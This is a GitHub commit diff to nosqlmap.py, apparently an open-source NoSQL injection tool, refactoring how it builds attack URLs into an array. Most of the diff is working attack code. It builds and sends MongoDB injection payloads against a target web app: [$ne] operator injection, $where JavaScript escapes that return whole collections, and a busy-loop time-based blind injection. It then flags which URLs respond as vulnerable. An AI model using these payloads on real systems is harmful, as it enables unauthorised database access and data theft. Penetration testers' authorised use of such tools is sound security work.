Skip to content

Commit 2358221

Browse files
tcstooltcstool
committed
Switch injection URLs to array
Reduced variable usage
1 parent 20556e0 commit 2358221

1 file changed

Lines changed: 88 additions & 90 deletions

File tree

‎nosqlmap.py‎

Lines changed: 88 additions & 90 deletions
Original file line numberDiff line numberDiff line change
@@ -43,7 +43,7 @@ def mainMenu():
4343
print "3-NoSQL Web App attacks"
4444
print "4-Exit"
4545

46-
select = raw_input("Select an option:")
46+
select = raw_input("Select an option: ")
4747

4848
if select == "1":
4949
options()
@@ -409,167 +409,167 @@ def webApps():
409409
else:
410410
print "HTTP response varied " + str(randNormDelta) + " bytes with random parameter value!\n"
411411

412-
print "Testing Mongo PHP not equals associative array injection using " + neqUri +"..."
413-
injLen = int(len(urllib.urlopen(neqUri).read()))
412+
print "Testing Mongo PHP not equals associative array injection using " + uriArray[1] +"..."
413+
injLen = int(len(urllib.urlopen(uriArray[1]).read()))
414414
print "Got response length of " + str(injLen) + "."
415415

416416
randInjDelta = abs(injLen - randLength)
417417

418418
if (randInjDelta >= 100) and (injLen != 0) :
419419
print "Not equals injection response varied " + str(randInjDelta) + " bytes from random parameter value! Injection works!"
420-
vulnAddrs.append(neqUri)
420+
vulnAddrs.append(uriArray[1])
421421

422422
elif (randInjDelta > 0) and (randInjDelta < 100) and (injLen != 0) :
423423
print "Response variance was only " + str(randInjDelta) + " bytes. Injection might have worked but difference is too small to be certain. "
424-
possAddrs.append(neqUri)
424+
possAddrs.append(uriArray[1])
425425

426426
elif (randInjDelta == 0):
427427
print "Random string response size and not equals injection were the same. Injection did not work."
428428
else:
429429
print "Injected response was smaller than random response. Injection may have worked but requires verification."
430-
possAddrs.append(neqUri)
430+
possAddrs.append(uriArray[1])
431431

432432
print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n"
433-
print "Injecting " + whereStrUri
433+
print "Injecting " + uriArray[2]
434434

435-
whereStrLen = int(len(urllib.urlopen(whereStrUri).read()))
435+
whereStrLen = int(len(urllib.urlopen(uriArray[2]).read()))
436436
whereStrDelta = abs(whereStrLen - randLength)
437437

438438
if (whereStrDelta >= 100) and (whereStrLen > 0):
439439
print "Java $where escape varied " + str(whereStrDelta) + " bytes from random parameter value! Where injection works!"
440-
vulnAddrs.append(whereStrUri)
440+
vulnAddrs.append(uriArray[2])
441441

442442
elif (whereStrDelta > 0) and (whereStrDelta < 100) and (whereStrLen - randLength > 0):
443443
print " response variance was only " + str(whereStrDelta) + "bytes. Injection might have worked but difference is too small to be certain."
444-
possAddrs.append(whereStrUri)
444+
possAddrs.append(uriArray[2])
445445

446446
elif (whereStrDelta == 0):
447447
print "Random string response size and $where injection were the same. Injection did not work."
448448

449449
else:
450450
print "Injected response was smaller than random response. Injection may have worked but requires verification."
451-
possAddrs.append(whereStrUri)
451+
possAddrs.append(uriArray[2])
452452

453453
print "\n"
454454
print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n"
455-
print "Injecting " + whereIntUri
455+
print "Injecting " + uriArray[3]
456456

457-
whereIntLen = int(len(urllib.urlopen(whereIntUri).read()))
457+
whereIntLen = int(len(urllib.urlopen(uriArray[3]).read()))
458458
whereIntDelta = abs(whereIntLen - randLength)
459459

460460
if (whereIntDelta >= 100) and (whereIntLen - randLength > 0):
461461
print "Java $where escape varied " + str(whereIntDelta) + " bytes from random parameter! Where injection works!"
462-
vulnAddrs.append(whereIntUri)
462+
vulnAddrs.append(uriArray[3])
463463

464464
elif (whereIntDelta > 0) and (whereIntDelta < 100) and (whereIntLen - randLength > 0):
465465
print " response variance was only " + str(whereIntDelta) + "bytes. Injection might have worked but difference is too small to be certain."
466-
possAddrs.append(whereIntUri)
466+
possAddrs.append(uriArray[3])
467467

468468
elif (whereIntDelta == 0):
469469
print "Random string response size and $where injection were the same. Injection did not work."
470470

471471
else:
472472
print "Injected response was smaller than random response. Injection may have worked but requires verification."
473-
possAddrs.append(whereIntUri)
473+
possAddrs.append(uriArray[3])
474474

475475
#Start a single record attack in case the app expects only one record back
476476

477477
print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n"
478-
print " Injecting " + whereOneStr
478+
print " Injecting " + uriArray[4]
479479

480480

481-
whereOneStrLen = int(len(urllib.urlopen(whereOneStr).read()))
481+
whereOneStrLen = int(len(urllib.urlopen(uriArray[4]).read()))
482482
whereOneStrDelta = abs(whereOneStrLen - randLength)
483483

484484
if (whereOneStrDelta >= 100) and (whereOneStrLen - randLength > 0):
485485
print "Java $where escape varied " + str(whereOneStrDelta) + " bytes from random parameter value! Where injection works!"
486-
vulnAddrs.append(whereOneStr)
486+
vulnAddrs.append(uriArray[4])
487487

488488
elif (whereOneStrDelta > 0) and (whereOneStrDelta < 100) and (whereOneStrLen - randLength > 0):
489489
print " response variance was only " + str(whereOneStrDelta) + "bytes. Injection might have worked but difference is too small to be certain."
490-
possAddrs.append(whereOneStr)
490+
possAddrs.append(uriArray[4])
491491

492492
elif (whereOneStrDelta == 0):
493493
print "Random string response size and $where single injection were the same. Injection did not work."
494494

495495
else:
496496
print "Injected response was smaller than random response. Injection may have worked but requires verification."
497-
possAddrs.append(whereOneStr)
497+
possAddrs.append(uriArray[4])
498498

499499
print "\n"
500500
print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n"
501-
print " Injecting " + whereOneInt
501+
print " Injecting " + uriArray[5]
502502

503503

504-
whereOneIntLen = int(len(urllib.urlopen(whereOneInt).read()))
504+
whereOneIntLen = int(len(urllib.urlopen(uriArray[5]).read()))
505505
whereOneIntDelta = abs(whereOneIntLen - randLength)
506506

507507
if (whereOneIntDelta >= 100) and (whereOneIntLen - randLength > 0):
508508
print "Java $where escape varied " + str(whereOneIntDelta) + " bytes from random parameter! Where injection works!"
509-
vulnAddrs.append(whereOneInt)
509+
vulnAddrs.append(uriArray[5])
510510

511511
elif (whereOneIntDelta > 0) and (whereOneIntDelta < 100) and (whereOneIntLen - randLength > 0):
512512
print " response variance was only " + str(whereOneIntDelta) + "bytes. Injection might have worked but difference is too small to be certain."
513-
possAddrs.append(whereOneInt)
513+
possAddrs.append(uriArray[5])
514514

515515
elif (whereOneIntDelta == 0):
516516
print "Random string response size and $where single record injection were the same. Injection did not work."
517517

518518
else:
519519
print "Injected response was smaller than random response. Injection may have worked but requires verification."
520-
possAddrs.append(whereOneInt)
520+
possAddrs.append(uriArray[5])
521521

522522
print "\n"
523523
print "Testing Mongo this not equals string escape attack for all records..."
524-
print " Injecting " + strThisNeqUri
524+
print " Injecting " + uriArray[8]
525525

526-
whereThisStrLen = int(len(urllib.urlopen(strThisNeqUri).read()))
526+
whereThisStrLen = int(len(urllib.urlopen(uriArray[8]).read()))
527527
whereThisStrDelta = abs(whereThisStrLen - randLength)
528528

529529
if (whereThisStrDelta >= 100) and (whereThisStrLen - randLength > 0):
530530
print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!"
531-
vulnAddrs.append(strThisNeqUri)
531+
vulnAddrs.append(uriArray[8])
532532

533533
elif (whereThisStrDelta > 0) and (whereThisStrDelta < 100) and (whereThisStrLen - randLength > 0):
534534
print " response variance was only " + str(whereThisStrDelta) + "bytes. Injection might have worked but difference is too small to be certain."
535-
possAddrs.append(strThisNeqUri)
535+
possAddrs.append(uriArray[8])
536536

537537
elif (whereThisStrDelta == 0):
538538
print "Random string response size and this return response size were the same. Injection did not work."
539539

540540
else:
541541
print "Injected response was smaller than random response. Injection may have worked but requires verification."
542-
possAddrs.append(strThisNeqUri)
542+
possAddrs.append(uriArray[8])
543543

544544
print "\n"
545545
print "Testing Mongo this not equals integer escape attack for all records..."
546-
print " Injecting " + intThisNeqUri
546+
print " Injecting " + uriArray[9]
547547

548-
whereThisIntLen = int(len(urllib.urlopen(intThisNeqUri).read()))
548+
whereThisIntLen = int(len(urllib.urlopen(uriArray[9]).read()))
549549
whereThisIntDelta = abs(whereThisIntLen - randLength)
550550

551551
if (whereThisIntDelta >= 100) and (whereThisIntLen - randLength > 0):
552552
print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!"
553-
vulnAddrs.append(intThisNeqUri)
553+
vulnAddrs.append(uriArray[9])
554554

555555
elif (whereThisIntDelta > 0) and (whereThisIntDelta < 100) and (whereThisIntLen - randLength > 0):
556556
print " response variance was only " + str(whereThisIntDelta) + "bytes. Injection might have worked but difference is too small to be certain."
557-
possAddrs.append(intThisNeqUri)
557+
possAddrs.append(uriArray[9])
558558

559559
elif (whereThisIntDelta == 0):
560560
print "Random string response size and this return response size were the same. Injection did not work."
561561

562562
else:
563563
print "Injected response was smaller than random response. Injection may have worked but requires verification."
564-
possAddrs.append(intThisNeqUri)
564+
possAddrs.append(uriArray[9])
565565

566566
print "\n"
567567
doTimeAttack = raw_input("Start timing based tests? ")
568568

569569
if doTimeAttack == "y" or doTimeAttack == "Y":
570570
print "Starting Javascript string escape time based injection..."
571571
start = time.time()
572-
strTimeInj = urllib.urlopen(timeStrUri)
572+
strTimeInj = urllib.urlopen(uriArray[6])
573573
page = strTimeInj.read()
574574
end = time.time()
575575
strTimeInj.close()
@@ -587,7 +587,7 @@ def webApps():
587587

588588
print "Starting Javascript integer escape time based injection..."
589589
start = time.time()
590-
intTimeInj = urllib.urlopen(timeIntUri)
590+
intTimeInj = urllib.urlopen(uriArray[7])
591591
page = intTimeInj.read()
592592
end = time.time()
593593
intTimeInj.close()
@@ -678,15 +678,8 @@ def randInjString(size):
678678
def buildUri(origUri, randValue):
679679
paramName = []
680680
paramValue = []
681-
global neqUri
682-
global whereStrUri
683-
global whereIntUri
684-
global whereOneStr
685-
global whereOneInt
686-
global timeStrUri
687-
global timeIntUri
688-
global strThisNeqUri
689-
global intThisNeqUri
681+
global uriArray
682+
uriArray = ["","","","","","","","","",""]
690683
injOpt = ""
691684

692685
#Split the string between the path and parameters, and then split each parameter
@@ -713,58 +706,63 @@ def buildUri(origUri, randValue):
713706
except:
714707
raw_input("Something went wrong. Press enter to return to the main menu...")
715708
mainMenu()
716-
717-
evilUri = split_uri[0] + "?"
718-
neqUri = split_uri[0] + "?"
719-
whereStrUri = split_uri[0] + "?"
720-
whereIntUri = split_uri[0] + "?"
721-
whereOneStr = split_uri[0] + "?"
722-
whereOneInt = split_uri[0] + "?"
723-
timeStrUri = split_uri[0] + "?"
724-
timeIntUri = split_uri[0] + "?"
725-
strThisNeqUri = split_uri[0] + "?"
726-
intThisNeqUri = split_uri[0] + "?"
709+
710+
print "debug:"
711+
print split_uri[0]
712+
727713
x = 0
714+
uriArray[0] = split_uri[0] + "?"
715+
uriArray[1] = split_uri[0] + "?"
716+
uriArray[2] = split_uri[0] + "?"
717+
uriArray[3] = split_uri[0] + "?"
718+
uriArray[4] = split_uri[0] + "?"
719+
uriArray[5] = split_uri[0] + "?"
720+
uriArray[6] = split_uri[0] + "?"
721+
uriArray[7] = split_uri[0] + "?"
722+
uriArray[8] = split_uri[0] + "?"
723+
uriArray[9] = split_uri[0] + "?"
724+
725+
728726

729727
for item in paramName:
730728
if paramName[x] == injOpt:
731-
evilUri += paramName[x] + "=" + randValue + "&"
732-
neqUri += paramName[x] + "[$ne]=" + randValue + "&"
733-
whereStrUri += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&"
734-
whereIntUri += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&"
735-
whereOneStr += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&"
736-
whereOneInt += paramName[x] + "=a; return db.a.findOne(); var dummy=1" + "&"
737-
timeStrUri += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&"
738-
timeIntUri += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&"
739-
strThisNeqUri += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&"
740-
intThisNeqUri += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&"
729+
uriArray[0] += paramName[x] + "=" + randValue + "&"
730+
uriArray[1] += paramName[x] + "[$ne]=" + randValue + "&"
731+
uriArray[2] += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&"
732+
uriArray[3] += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&"
733+
uriArray[4] += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&"
734+
uriArray[5] += paramName[x] + "=a; return db.a.findOne(); var dummy=1" + "&"
735+
uriArray[6] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&"
736+
uriArray[7] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&"
737+
uriArray[8] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&"
738+
uriArray[9] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&"
741739

742740
else:
743-
evilUri += paramName[x] + "=" + paramValue[x] + "&"
744-
neqUri += paramName[x] + "=" + paramValue[x] + "&"
745-
whereStrUri += paramName[x] + "=" + paramValue[x] + "&"
746-
whereIntUri += paramName[x] + "=" + paramValue[x] + "&"
747-
whereOneStr += paramName[x] + "=" + paramValue[x] + "&"
748-
whereOneInt += paramName[x] + "=" + paramValue[x] + "&"
749-
timeStrUri += paramName[x] + "=" + paramValue[x] + "&"
750-
timeIntUri += paramName[x] + "=" + paramValue[x] + "&"
751-
strThisNeqUri += paramName[x] + "=" + paramValue[x] + "&"
752-
intThisNeqUri += paramName[x] + "=" + paramValue[x] + "&"
741+
uriArray[0] += paramName[x] + "=" + paramValue[x] + "&"
742+
uriArray[1] += paramName[x] + "=" + paramValue[x] + "&"
743+
uriArray[2] += paramName[x] + "=" + paramValue[x] + "&"
744+
uriArray[3] += paramName[x] + "=" + paramValue[x] + "&"
745+
uriArray[4] += paramName[x] + "=" + paramValue[x] + "&"
746+
uriArray[5] += paramName[x] + "=" + paramValue[x] + "&"
747+
uriArray[6] += paramName[x] + "=" + paramValue[x] + "&"
748+
uriArray[7] += paramName[x] + "=" + paramValue[x] + "&"
749+
uriArray[8] += paramName[x] + "=" + paramValue[x] + "&"
750+
uriArray[9] += paramName[x] + "=" + paramValue[x] + "&"
753751
x += 1
754752

755753
#Clip the extra & off the end of the URL
756-
evilUri = evilUri[:-1]
757-
neqUri = neqUri[:-1]
758-
whereStrUri = whereStrUri[:-1]
759-
whereIntUri = whereIntUri[:-1]
760-
whereOneStr = whereOneStr[:-1]
761-
whereOneInt = whereOneInt[:-1]
762-
strThisNeqUri = strThisNeqUri[:-1]
763-
intThisNeqUri = intThisNeqUri[:-1]
764-
timeStrUri = timeStrUri[:-1]
765-
timeIntUri = timeIntUri[:-1]
766-
767-
return evilUri
754+
uriArray[0]= uriArray[0][:-1]
755+
uriArray[1] = uriArray[1][:-1]
756+
uriArray[2] = uriArray[2][:-1]
757+
uriArray[3] = uriArray[3][:-1]
758+
uriArray[4] = uriArray[4][:-1]
759+
uriArray[5] = uriArray[5][:-1]
760+
uriArray[6] = uriArray[6][:-1]
761+
uriArray[7] = uriArray[7][:-1]
762+
uriArray[8] = uriArray[8][:-1]
763+
uriArray[9] = uriArray[9][:-1]
764+
765+
return uriArray[0]
768766

769767
def stealDBs(myDB):
770768
menuItem = 1

0 commit comments

Comments
 (0)